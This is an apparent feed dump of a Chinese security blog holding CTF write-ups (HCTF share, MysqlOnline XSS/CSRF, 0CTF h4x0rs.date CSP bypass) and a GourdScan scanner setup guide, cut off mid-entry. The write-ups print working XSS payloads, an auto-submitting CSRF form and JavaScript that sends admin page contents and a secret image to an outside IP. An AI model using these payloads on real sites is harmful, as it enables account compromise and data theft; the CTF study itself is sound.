href="#Tempfile跨目录-SOLVED" class="headerlink" title="Tempfile跨目录 (SOLVED)"></a>Tempfile跨目录 (SOLVED)</h3><p>自己之前一直在纠结可能有其他点，因为之前自己测试的时候，通过..&#x2F;会导致500错误。可能也是因为那一夜，自己有点懵。被500吓怕了。所以往后一直在通过自己本地ruby来测试如何绕过。</p><p>测试期间发现。</p><figure class="highlight ruby"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">share = <span class="title class_">Tempfile</span>.new(name,path)</span><br></pre></td></tr></table></figure><p>其中path中，可以用..&#x2F;跨目录，但是name中的斜杠，会被自动删掉，很迷。</p><p><img src="https://xzfile.aliyuncs.com/media/upload/picture/20181112141248-fa61fec4-e641-1.png" alt="20181111154191881741482.png"></p><p>然而题目中的可控点又是在name中。</p><figure class="highlight ruby"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br></pre></td><td class="code"><pre><span class="line">name = <span class="title class_">Base64</span>.decode64(file.original_filename)</span><br><span class="line">ext = name.split(<span class="string">&#x27;.&#x27;</span>)[-<span class="number">1</span>] </span><br><span class="line">share = <span class="title class_">Tempfile</span>.new(</span><br><span class="line">     name.split(<span class="string">&#x27;.&#x27;</span>+ext)[<span class="number">0</span>],</span><br><span class="line">     <span class="title class_">Rails</span>.root.to_s+<span class="string">&quot;/public/upload&quot;</span></span><br><span class="line"> )</span><br></pre></td></tr></table></figure><p>所以导致自己把思路放在了这边，没有再次远程尝试。</p><p>甚至还动摇了，怀疑page的点没有找到。</p><p>最后才发现自己环境不对，两次测试环境，一次是2.3.7，另一次是2.5.3…..</p><p>一开始考虑到可能是这个CVE-2018-6914，但是他描述中写的是目录，也就想当然是我以上那个path。</p><p><img src="https://xzfile.aliyuncs.com/media/upload/picture/20181112141248-faaf1858-e641-1.png" alt="20181111154192175630383.png"></p><p><strong>最后用2.5.0终于复现成功</strong></p><p>一键ruby环境….</p><figure class="highlight bash"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line"><span class="built_in">sudo</span> docker run -dit --<span class="built_in">rm</span> ruby:2.5.0</span><br></pre></td></tr></table></figure><p><img src="https://xzfile.aliyuncs.com/media/upload/picture/20181112141249-faf28f84-e641-1.png" alt="20181111154192141712914.png"></p><h3 id="render-template之谜-SOLVED"><a href="#render-template之谜-SOLVED" class="headerlink" title="render template之谜 (SOLVED)"></a>render template之谜 (SOLVED)</h3><figure class="highlight erb"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line"><span class="language-xml">&lt;%=</span><span class="language-ruby"> render <span class="symbol">template:</span> <span class="string">&quot;home/&quot;</span>+params[<span class="symbol">:page</span>] </span><span class="language-xml">%&gt;</span></span><br></pre></td></tr></table></figure><p>如果正常理解以上代码，就是限制包含home控制器下的文件。</p><p>但是事实上按照出题给的hint1</p><p><img src="https://xzfile.aliyuncs.com/media/upload/picture/20181113150306-2c171668-e712-1.png" alt="20181113154209251493982.png"></p><p>如下两个链接包含后都很迷。</p><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br></pre></td><td class="code"><pre><span class="line">http://share.2018.hctf.io/home?page=index</span><br><span class="line">http://share.2018.hctf.io/home?page=../layouts/mailer</span><br></pre></td></tr></table></figure><p>首先是第一个index.html.erb，可以假设理解为他的代码存在问题，导致500。（包含失败也是500）</p><p>接下来的第二个就更迷了，既然限制了home，为什么还能跳去layouts。当时有点纠结这个问题，导致思维有点乱，心态也有所干扰。</p><p><strong>赛后自己尝试了一下。发现只要是views内的内容都可以进行包含。也就是说那个控制器限定没个卵用，但是必须在视图文件夹内。</strong></p><p>那么，可以总结一下。</p><figure class="highlight ruby"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br></pre></td><td class="code"><pre><span class="line"><span class="comment"># 可以渲染任意路径文件</span></span><br><span class="line">render <span class="string">&quot;path&quot;</span></span><br><span class="line">render <span class="symbol">file:</span> <span class="string">&quot;path&quot;</span> </span><br><span class="line"><span class="comment"># 仅能渲染当前项目下 app/views内的任何内容</span></span><br><span class="line">render <span class="symbol">template:</span> <span class="string">&quot;products/show&quot;</span></span><br></pre></td></tr></table></figure><h2 id="参考资料"><a href="#参考资料" class="headerlink" title="参考资料"></a>参考资料</h2><ul><li><a href="https://ruby-china.github.io/rails-guides/layouts_and_rendering.html">Rails 布局和视图渲染</a></li><li><a href="https://www.freebuf.com/articles/web/17854.html">利用csrf漏洞上传文件</a></li><li><a href="https://github.com/ssl/ezXSS">ezXSS</a></li><li><a href="https://ruby-doc.org/stdlib-2.5.0/libdoc/tempfile/rdoc/Tempfile.html">Tempfile</a></li><li><a href="https://www.seebug.org/vuldb/ssvid-90633">Rails Dynamic Render 远程命令执行漏洞 (CVE-2016-0752)</a></li><li><a href="https://www.ruby-lang.org/zh_cn/news/2018/03/28/unintentional-file-and-directory-creation-with-directory-traversal-cve-2018-6914/">CVE-2018-6914: tempfile 和 tmpdir 库中意外创建文件和目录的缺陷</a></li></ul>]]></content>
    
    
    <summary type="html">&lt;blockquote&gt;
&lt;p&gt;本文首发先知社区，文章链接：&lt;a href=&quot;https://xz.aliyun.com/t/3258&quot;&gt;https://xz.aliyun.com/t/3258&lt;/a&gt;&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;这次比赛感觉比较有意思的一道题。2019 HCTF-share&lt;/p&gt;</summary>
    
    
    
    <category term="信息安全" scheme="https://blog.5am3.com/categories/%E4%BF%A1%E6%81%AF%E5%AE%89%E5%85%A8/"/>
    
    <category term="writeup" scheme="https://blog.5am3.com/categories/%E4%BF%A1%E6%81%AF%E5%AE%89%E5%85%A8/writeup/"/>
    
    
    <category term="writeup - web - xss" scheme="https://blog.5am3.com/tags/writeup-web-xss/"/>
    
  </entry>
  
  <entry>
    <title>MysqlOnline writeup 巅峰极客</title>
    <link href="https://blog.5am3.com/2018/07/23/MysqlOnline-writeup/"/>
    <id>https://blog.5am3.com/2018/07/23/MysqlOnline-writeup/</id>
    <published>2018-07-23T13:00:10.000Z</published>
    <updated>2024-12-05T02:39:41.684Z</updated>
    
    <content type="html"><![CDATA[<p>又是一道xss…</p><blockquote><p>在线mysql运行环境，欢迎大家使用，别弄坏了它呀。另外还有什么网页上的问题，欢迎您提交反馈。</p><p><a href="http://106.75.35.230:9001/?pass=null">http://106.75.35.230:9001</a></p></blockquote><span id="more"></span><h2 id="前期测试"><a href="#前期测试" class="headerlink" title="前期测试"></a>前期测试</h2><p>分析题目，题目可以执行sql语句，此时存在执行后的回显</p><p><img src="https://img.5am3.com/img/180723/9e0i9dKi4l.png" alt="mark"></p><p>结合下面的报告栏，疑似xss类题目，尝试输入&lt;&gt;,发现存在waf。在sql语句中，为绕过waf，通常会使用ascii码16进制编码，此时可以构造<code>&lt;img&gt;</code>的十六进制</p><figure class="highlight sql"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">select</span> <span class="number">0x3c696d673e</span></span><br></pre></td></tr></table></figure><p>此时发现页面可以成功渲染出img标签。</p><p>找到xss点了，然后进行报告，一开始以为是留言可以直接写payload，但是尝试后发现不行。</p><p>仔细读题，发现他应该是会check url。</p><p>直接尝试写入自己监听的url <code>http://xxx.xx/xx</code></p><p><img src="https://img.5am3.com/img/180723/Cl0I1eIlmK.png" alt="mark"></p><p>可以发现他有一个后台。</p><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">http://127.0.0.1//admin_zzzz666.php</span><br></pre></td></tr></table></figure><p><img src="https://img.5am3.com/img/180723/EH987d13fc.png" alt="mark"></p><h2 id="构造csrf"><a href="#构造csrf" class="headerlink" title="构造csrf"></a>构造csrf</h2><p>尝试访问后，发现只可以本地访问。</p><p>此时可以利用前面发现的xss，来构造csrf。</p><p>此时传入的参数，为我要引入的恶意js。</p><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br></pre></td><td class="code"><pre><span class="line">payload:&lt;script src=//eval.com&gt;&lt;/script&gt;</span><br><span class="line">转化后：0x3c736372697074207372633d2f2f6576616c2e636f6d3e3c2f7363726970743e</span><br></pre></td></tr></table></figure><p>所以可以构造以下页面进行csrf，提交该页面的链接，让admin访问，然后会提交表单，跳转到<code>http://127.0.0.1/runsql.php</code> 页面，成功在该页面实现xss。</p><figure class="highlight html"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br></pre></td><td class="code"><pre><span class="line"><span class="meta">&lt;!DOCTYPE <span class="keyword">html</span>&gt;</span></span><br><span class="line"><span class="tag">&lt;<span class="name">html</span> <span class="attr">lang</span>=<span class="string">&quot;en&quot;</span>&gt;</span></span><br><span class="line"><span class="tag">&lt;<span class="name">head</span>&gt;</span></span><br><span class="line"><span class="tag">&lt;<span class="name">meta</span> <span class="attr">charset</span>=<span class="string">&quot;UTF-8&quot;</span>&gt;</span></span><br><span class="line"><span class="tag">&lt;<span class="name">title</span>&gt;</span>eval<span class="tag">&lt;/<span class="name">title</span>&gt;</span></span><br><span class="line"><span class="tag">&lt;<span class="name">script</span> <span class="attr">src</span>=<span class="string">http://127.0.01/static/js/jquery.min.js</span>&gt;</span><span class="tag">&lt;/<span class="name">script</span>&gt;</span></span><br><span class="line"><span class="tag">&lt;/<span class="name">head</span>&gt;</span></span><br><span class="line"><span class="tag">&lt;<span class="name">body</span>&gt;</span></span><br><span class="line"><span class="tag">&lt;<span class="name">form</span> <span class="attr">id</span>=<span class="string">&quot;a&quot;</span> <span class="attr">action</span>=<span class="string">&quot;http://127.0.0.1/runsql.php&quot;</span> <span class="attr">method</span>=<span class="string">&quot;post&quot;</span>&gt;</span></span><br><span class="line"><span class="tag">&lt;<span class="name">input</span> <span class="attr">type</span>=<span class="string">&quot;text&quot;</span> <span class="attr">name</span>=<span class="string">&quot;sql&quot;</span> <span class="attr">value</span>=<span class="string">&quot;select 0x3c736372697074207372633d2f2f6576616c2e636f6d3e3c2f7363726970743e&quot;</span>&gt;</span></span><br><span class="line"><span class="tag">&lt;/<span class="name">form</span>&gt;</span></span><br><span class="line"><span class="tag">&lt;<span class="name">script</span>&gt;</span><span class="language-javascript"></span></span><br><span class="line"><span class="language-javascript">$(<span class="string">&quot;#a&quot;</span>).<span class="title function_">submit</span>();</span></span><br><span class="line"><span class="language-javascript"></span><span class="tag">&lt;/<span class="name">script</span>&gt;</span></span><br><span class="line"><span class="tag">&lt;/<span class="name">body</span>&gt;</span></span><br><span class="line"><span class="tag">&lt;/<span class="name">html</span>&gt;</span></span><br></pre></td></tr></table></figure><p>此时将该文件上传到任意服务器或托管平台</p><p>csrf至此已经成功完成，接下来需要让其发挥最大效果。也就是我们修改eval.com的js代码。</p><h2 id="xss攻击代码"><a href="#xss攻击代码" class="headerlink" title="xss攻击代码"></a>xss攻击代码</h2><p><strong>读源码</strong></p><figure class="highlight js"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">function</span> <span class="title function_">send</span>(<span class="params">e</span>) &#123;</span><br><span class="line">    <span class="keyword">var</span> t = <span class="keyword">new</span> <span class="title class_">XMLHttpRequest</span>;</span><br><span class="line">    t.<span class="title function_">open</span>(<span class="string">&quot;POST&quot;</span>, <span class="string">&quot;//139.199.107.193:2210&quot;</span>, !<span class="number">0</span>),</span><br><span class="line">    t.<span class="title function_">setRequestHeader</span>(<span class="string">&quot;Content-type&quot;</span>, <span class="string">&quot;text/plain&quot;</span>),</span><br><span class="line">    t.<span class="property">onreadystatechange</span> = <span class="keyword">function</span>(<span class="params"></span>) &#123;</span><br><span class="line">        <span class="number">4</span> == t.<span class="property">readyState</span> &amp;&amp; t.<span class="property">status</span></span><br><span class="line">    &#125;,</span><br><span class="line">    t.<span class="title function_">send</span>(e)</span><br><span class="line">&#125;</span><br><span class="line"></span><br><span class="line"> <span class="keyword">var</span> iframe = <span class="variable language_">document</span>.<span class="title function_">createElement</span>(<span class="string">&quot;iframe&quot;</span>);</span><br><span class="line"> iframe.<span class="property">src</span> = <span class="string">&quot;./admin_zzzz666.php&quot;</span>;</span><br><span class="line"> <span class="variable language_">document</span>.<span class="property">body</span>.<span class="title function_">appendChild</span>(iframe);</span><br><span class="line"> iframe.<span class="property">onload</span> = <span class="built_in">setInterval</span>(<span class="keyword">function</span> (<span class="params"></span>)&#123; </span><br><span class="line"> <span class="keyword">var</span> c = <span class="built_in">encodeURI</span>(<span class="variable language_">document</span>.<span class="title function_">getElementsByTagName</span>(<span class="string">&quot;iframe&quot;</span>)[<span class="number">0</span>].<span class="property">contentWindow</span>.<span class="property">document</span>.<span class="title function_">getElementsByTagName</span>(<span class="string">&quot;body&quot;</span>)[<span class="number">0</span>].<span class="property">innerHTML</span>);</span><br><span class="line"> <span class="title function_">send</span>(<span class="title function_">btoa</span>(c));</span><br><span class="line"> &#125;,<span class="number">1000</span>)</span><br></pre></td></tr></table></figure><p>读取后发现和自己访问，唯一的不同是多了一张图片。</p><p>自己天真的以为还用刚刚的套路就可以读，然而发现想错了，这样只能读出来一个标签。</p><p>然后继续去搜索，如何读取图片，由于没有找到如何下载源文件。</p><p>最终发现canvas可以返回二进制流。</p><p>所以自己直接尝试渲染出来并返回图像了。</p><p>好在这道题flag就是图片，如果是隐写的话，可能又得费点劲。</p><p><strong>读图片</strong></p><figure class="highlight js"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">function</span> <span class="title function_">send</span>(<span class="params">e</span>) &#123;</span><br><span class="line">    <span class="keyword">var</span> t = <span class="keyword">new</span> <span class="title class_">XMLHttpRequest</span>;</span><br><span class="line">    t.<span class="title function_">open</span>(<span class="string">&quot;POST&quot;</span>, <span class="string">&quot;//139.199.107.193:2210&quot;</span>, !<span class="number">0</span>),</span><br><span class="line">    t.<span class="title function_">setRequestHeader</span>(<span class="string">&quot;Content-type&quot;</span>, <span class="string">&quot;text/plain&quot;</span>),</span><br><span class="line">    t.<span class="property">onreadystatechange</span> = <span class="keyword">function</span>(<span class="params"></span>) &#123;</span><br><span class="line">        <span class="number">4</span> == t.<span class="property">readyState</span> &amp;&amp; t.<span class="property">status</span></span><br><span class="line">    &#125;,</span><br><span class="line">    t.<span class="title function_">send</span>(e)</span><br><span class="line">&#125;</span><br><span class="line"><span class="keyword">var</span> ca =<span class="variable language_">document</span>.<span class="title function_">createElement</span>(<span class="string">&quot;canvas&quot;</span>)</span><br><span class="line">ca.<span class="title function_">setAttribute</span>(<span class="string">&#x27;id&#x27;</span>, <span class="string">&#x27;cv&#x27;</span>);</span><br><span class="line">ca.<span class="property">width</span> = <span class="string">&#x27;1500&#x27;</span>;</span><br><span class="line">ca.<span class="property">height</span> = <span class="string">&#x27;500&#x27;</span></span><br><span class="line"><span class="variable language_">document</span>.<span class="property">body</span>.<span class="title function_">appendChild</span>(ca);</span><br><span class="line"></span><br><span class="line"><span class="keyword">var</span> cxt=ca.<span class="title function_">getContext</span>(<span class="string">&quot;2d&quot;</span>);</span><br><span class="line"><span class="keyword">var</span> img=<span class="keyword">new</span> <span class="title class_">Image</span>()</span><br><span class="line">img.<span class="property">src</span>=<span class="string">&quot;http://127.0.0.1/static/img/iamsecret_555.jpg&quot;</span></span><br><span class="line">img.<span class="property">onload</span> = <span class="keyword">function</span>(<span class="params"></span>)&#123;</span><br><span class="line">cxt.<span class="title function_">drawImage</span>(img,<span class="number">0</span>,<span class="number">0</span>)</span><br><span class="line"><span class="keyword">var</span> data = ca.<span class="title function_">toDataURL</span>();</span><br><span class="line"><span class="title function_">send</span>(data);</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><p>成功拿到回显</p><p><img src="https://img.5am3.com/img/180723/16lalbGkLm.png" alt="mark"></p><p>最后成功拿到flag</p><p><img src="https://img.5am3.com/img/180723/Bi768CeAFB.png" alt="mark"></p>]]></content>
    
    
    <summary type="html">&lt;p&gt;又是一道xss…&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;在线mysql运行环境，欢迎大家使用，别弄坏了它呀。另外还有什么网页上的问题，欢迎您提交反馈。&lt;/p&gt;
&lt;p&gt;&lt;a href=&quot;http://106.75.35.230:9001/?pass=null&quot;&gt;http://106.75.35.230:9001&lt;/a&gt;&lt;/p&gt;
&lt;/blockquote&gt;</summary>
    
    
    
    <category term="信息安全" scheme="https://blog.5am3.com/categories/%E4%BF%A1%E6%81%AF%E5%AE%89%E5%85%A8/"/>
    
    <category term="writeup" scheme="https://blog.5am3.com/categories/%E4%BF%A1%E6%81%AF%E5%AE%89%E5%85%A8/writeup/"/>
    
    
    <category term="xss" scheme="https://blog.5am3.com/tags/xss/"/>
    
    <category term="writeup" scheme="https://blog.5am3.com/tags/writeup/"/>
    
  </entry>
  
  <entry>
    <title>GourdScan V2 配置安全及使用</title>
    <link href="https://blog.5am3.com/2018/07/04/GourdScan_V2/"/>
    <id>https://blog.5am3.com/2018/07/04/GourdScan_V2/</id>
    <published>2018-07-04T07:06:07.000Z</published>
    <updated>2024-12-05T02:39:41.684Z</updated>
    
    <content type="html"><![CDATA[<p>最近i春秋举办挖洞活动，于是自己也去凑个热闹。之前听大佬们讲过被动扫描，于是自己搜到了ysrc的这个扫描器。</p><p><a href="https://github.com/ysrc/GourdScanV2">https://github.com/ysrc/GourdScanV2</a></p><span id="more"></span><h2 id="安装配置"><a href="#安装配置" class="headerlink" title="安装配置"></a>安装配置</h2><p>关于安装配置，readme已经介绍的很清楚了。但奈何自己对Redis还有python一些库都不太熟，也懒得去踩那些坑。于是决定直接使用docker进行部署。</p><blockquote><p>环境：</p><p>  腾讯云学生机  </p><p>  Ubuntu Server 16.04.1 LTS 64位</p><p>  1 核 1 GB 1 Mbps</p><p>扫描的时候，将带宽临时升级为了5M（一天不到5块钱吧）</p></blockquote><ol><li>首先安装docker</li></ol><figure class="highlight bash"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line"><span class="built_in">sudo</span> apt install docker.io</span><br></pre></td></tr></table></figure><ol start="2"><li>然后从GitHub下载该项目</li></ol><figure class="highlight bash"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">git <span class="built_in">clone</span> https://github.com/ysrc/GourdScanV2.git</span><br></pre></td></tr></table></figure><p>下载完成后，进入该目录</p><figure class="highlight bash"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line"><span class="built_in">cd</span> GourdScanV2</span><br></pre></td></tr></table></figure><ol start="3"><li>构造docker镜像</li></ol><p>但是自己在使用途中，遇到了一个问题。</p><p>在安装tornado包的时候会报错。自己怀疑是python版本的问题，也有可能是其他原因。</p><p>百度无果后，自己尝试将基础镜像改为16.04即可。</p><figure class="highlight bash"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">sed -i <span class="string">&quot;s/ubuntu:14.04/ubuntu:16.04/g&quot;</span> Dockerfile</span><br></pre></td></tr></table></figure><p>然后运行</p><figure class="highlight bash"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line"><span class="built_in">sudo</span> docker build -t gourdscan:2.1 .</span><br></pre></td></tr></table></figure><ol start="4"><li>此时镜像已经创建好了。接下来创建容器即可</li></ol><figure class="highlight bash"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line"><span class="built_in">sudo</span> docker run -d -p 10000:22 -p 8000:8000 -p 10086:10086 -p 10806:10806 gourdscan:2.1 /usr/sbin/sshd -D</span><br></pre></td></tr></table></figure><ol start="5"><li>进入docker，配置服务</li></ol><p>然后登陆进入docker，登陆有两个方法。</p><ul><li>ssh登陆  <code>ssh root@localhost -p 10000</code></li></ul><p><em>用户名: root，密码: Y3rc_admin</em></p><ul><li>直接进入docker <code>docker exec -it 容器ID bash</code></li></ul><p>此时运行服务即可</p><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br></pre></td><td class="code"><pre><span class="line">redis-server ~/gourdscan/conf/redis.conf</span><br><span class="line">gourdscan</span><br></pre></td></tr></table></figure><h3 id="小技巧"><a href="#小技巧" class="headerlink" title="小技巧"></a>小技巧</h3><p>有时候会懒得在进入docker启动两个服务，有没有办法让他直接启动呢？有的。</p><p>此时自行创建一个start.sh即可，然后在Dockerfile倒数第二行写入以下代码即可</p><p>start.sh内容</p><figure class="highlight bash"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br></pre></td><td class="code"><pre><span class="line"><span class="built_in">sleep</span> 1</span><br><span class="line">redis-server ~/gourdscan/conf/redis.conf</span><br><span class="line">python ~/gourdscan/gourdscan.py</span><br></pre></td></tr></table></figure><p>Dockerfile增加的内容</p><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br></pre></td><td class="code"><pre><span class="line">#添加start.sh，并准备开机执行</span><br><span class="line">COPY ./start.sh /root/start.sh</span><br><span class="line">RUN chmod +x /root/start.sh</span><br><span class="line">ENTRYPOINT cd /root; ./start.sh</span><br></pre></td></tr></table></figure><h2 id="使用被动扫描"><a href="#使用被动扫描" class="headerlink" title="使用被动扫描"></a>使用被动扫描</h2><p>安装成功后，即可开始happy的玩耍了。</p><p>直接访问8000端口即可，默认平台用户名密码为：admin:Y3rc_admin</p><p><img src="https://img.5am3.com/img/180704/6KC744Ihi3.png" alt="mark"></p><p>登录后会发现四个标签</p><p>分别是:</p><blockquote><p>扫描记录，代理配置，扫描规则设置，全局设置</p></blockquote><p>我们只需在代理配置处，随便选择一个代理，然后点击start即可。此时记录好端口号。在这里是10086端口。（如果用docker进行配置的话，请勿随意修改端口号，因为docker已经为默认端口做了映射，其他端口会无法访问的。）</p><p><img src="https://img.5am3.com/img/180704/hdBaB96ICH.png" alt="mark"></p><p>后面就不用说了，本地挂上该代理，然后流量就会走扫描器了。</p><p>此时可以自己挂上代理尝试访问一些网站，然后在scan status处查看是否有日志，如果有的话，就没毛病了。</p><p>然后点开Scan Config标签，直接点击 Start Gourdscan Scanner 即可开始扫描。</p><p><img src="https://img.5am3.com/img/180704/kGEgjLdeB8.png" alt="mark"></p><p>然后在Scan Status标签即可看到扫描日志。如果扫出漏洞，就会在Vulnerable处显示，点进去查看即可。</p><p>由于我扫描时没有截图，所以凑合看吧。</p><p>建议大家还是看一下官方readme，写的很清楚了。</p><h2 id="一些感悟"><a href="#一些感悟" class="headerlink" title="一些感悟"></a>一些感悟</h2><p>自己扫了半天，扫出来两个大厂的反射型XSS，感觉还算不错的。</p><p>越发感觉扫描器的重要性，有必要研究一下扫描器，争取自己写一个玩。</p><p>在利用该扫描器扫描期间，暴露出了一些弊端，或许可以为自己以后避免踩坑。比如</p><blockquote><ol><li>代理响应速度过慢，经常打不开网站。</li><li>对大厂的一些waf应对不是很好。（经常伪报SQL注入漏洞）</li><li>扫描时有时候会假死。</li><li>对于反射型xss，仅验证的返回内容是否被转义，没有验证响应头是否可解析。（响应头为json时，浏览器是不会解析的）</li></ol></blockquote><p>关于第一点，可能是一个通病，因为是vps做代理，可能或多或少都会很慢，自己打算抽时间深入看一下，到底为什么。因为这个问题不止这一次困扰自己了。</p><p>再有就是第二点，这个其实还是大部分因为大厂的waf，貌似他们有风控，会对恶意请求随机拦截。也就是说同一个恶意请求，你发10次，他会拦截7次。还有3次是可以通过的。所以导致了扫描器的误报。（针对这个问题，也需要思考思考）</p><p>最后，貌似最近EnsecTeam在推一些漏洞扫描的建设文章，有兴趣可以关注一下他们，微信直接搜就可以。</p>]]></content>
    
    
    <summary type="html">&lt;p&gt;最近i春秋举办挖洞活动，于是自己也去凑个热闹。之前听大佬们讲过被动扫描，于是自己搜到了ysrc的这个扫描器。&lt;/p&gt;
&lt;p&gt;&lt;a href=&quot;https://github.com/ysrc/GourdScanV2&quot;&gt;https://github.com/ysrc/GourdScanV2&lt;/a&gt;&lt;/p&gt;</summary>
    
    
    
    <category term="信息安全" scheme="https://blog.5am3.com/categories/%E4%BF%A1%E6%81%AF%E5%AE%89%E5%85%A8/"/>
    
    <category term="漏洞扫描" scheme="https://blog.5am3.com/categories/%E4%BF%A1%E6%81%AF%E5%AE%89%E5%85%A8/%E6%BC%8F%E6%B4%9E%E6%89%AB%E6%8F%8F/"/>
    
    
    <category term="漏洞挖掘" scheme="https://blog.5am3.com/tags/%E6%BC%8F%E6%B4%9E%E6%8C%96%E6%8E%98/"/>
    
    <category term="被动扫描" scheme="https://blog.5am3.com/tags/%E8%A2%AB%E5%8A%A8%E6%89%AB%E6%8F%8F/"/>
    
  </entry>
  
  <entry>
    <title>2018 0CTF final h4x0rs.date</title>
    <link href="https://blog.5am3.com/2018/06/03/0ctf-final/"/>
    <id>https://blog.5am3.com/2018/06/03/0ctf-final/</id>
    <published>2018-06-03T09:26:42.000Z</published>
    <updated>2024-12-05T02:39:41.680Z</updated>
    
    <content type="html"><![CDATA[<p>当时比赛时，差一点就解出来了。结束前半小时，才发觉获取nonce的漏洞点。</p><p>还是太菜了，否则能一跃第四。</p><p>这题其实挺有意思的， 赛后仔细想想，好像也不是太难。但是题目真心不错。</p><p>最后证实，这题有多种解法，但每一种解法，都感觉学到了很多。</p><p>题目链接：<a href="https://h4x0rs.date/">https://h4x0rs.date/</a></p><span id="more"></span><p>由于这篇题解自己拖得时间有点长了，所以刚刚发现 lorexxar大佬的题解写的很棒了，大家可以看一下，我就不过多介绍题目了。而且我尽量写一些与他不同的。</p><p><a href="https://www.lorexxar.cn/2018/05/31/0ctf2018-final/#h4x0rs-data">https://www.lorexxar.cn/2018/05/31/0ctf2018-final/#h4x0rs-data</a></p><h2 id="获取ID"><a href="#获取ID" class="headerlink" title="获取ID"></a>获取ID</h2><p>我们是通过一个比较简单的方式获取到的id。题目中存在一个id为msg标签可写内容。此时我们将自己资料改为</p><figure class="highlight html"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line"><span class="tag">&lt;<span class="name">style</span> <span class="attr">id</span>=<span class="string">msg</span>&gt;</span><span class="tag">&lt;/<span class="name">style</span>&gt;</span></span><br></pre></td></tr></table></figure><p>然后构造链接report即可</p><figure class="highlight html"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">http://h4x0rs.date/login.php?redict=profile.php?id=&#123;you_id&#125;%26msg=body&#123;background-img:url(&#x27;//eval.com?id=</span><br></pre></td></tr></table></figure><h2 id="【非预期】通过iframe控制csp"><a href="#【非预期】通过iframe控制csp" class="headerlink" title="【非预期】通过iframe控制csp"></a>【非预期】通过iframe控制csp</h2><p>这个解法是刷出题人Twitter刷到的。</p><p><img src="https://img.5am3.com/img/180531/HdEkFhl6GE.png" alt="mark"></p><h3 id="原理"><a href="#原理" class="headerlink" title="原理"></a>原理</h3><p>因为题目本身是通过加载js，来实现csp的加载。此时csp是直接写到内容中的。可以影响到此标签后面的js的加载。（前面的无法影响）</p><p>所以，此时我们只要能提前想办法不让这个js加载即可。当时自己也是想过的，然而……没办法。</p><p>在这里，这位大佬用了iframe标签的csp属性。（貌似只有chrome可以用）</p><h3 id="利用"><a href="#利用" class="headerlink" title="利用"></a>利用</h3><p>此时我们先构造user1的资料为</p><figure class="highlight html"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line"><span class="tag">&lt;<span class="name">script</span>&gt;</span>alert(1);<span class="tag">&lt;/<span class="name">script</span>&gt;</span></span><br></pre></td></tr></table></figure><p>然后再构造user2的资料为如下，从而加载恶意代码</p><figure class="highlight html"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line"><span class="tag">&lt;<span class="name">iframe</span> <span class="attr">src</span>=<span class="string">/profile.php?id</span>=<span class="string">user1_ID</span> <span class="attr">csp</span>=<span class="string">&quot;script-src &#x27;unsafe-inline&#x27;;&quot;</span>&gt;</span></span><br></pre></td></tr></table></figure><p>此时，当我们访问user2资料时，便成功触发漏洞。</p><h2 id="【预期】拿到nonce，执行js"><a href="#【预期】拿到nonce，执行js" class="headerlink" 